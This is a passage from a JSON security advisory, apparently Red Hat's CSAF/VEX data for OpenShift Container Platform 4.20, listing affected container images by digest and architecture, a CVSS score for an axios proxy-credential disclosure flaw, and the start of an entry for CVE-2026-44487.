"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via HTTP redirects"
},
{
"cve": "CVE-2026-44487",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:34.091476+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
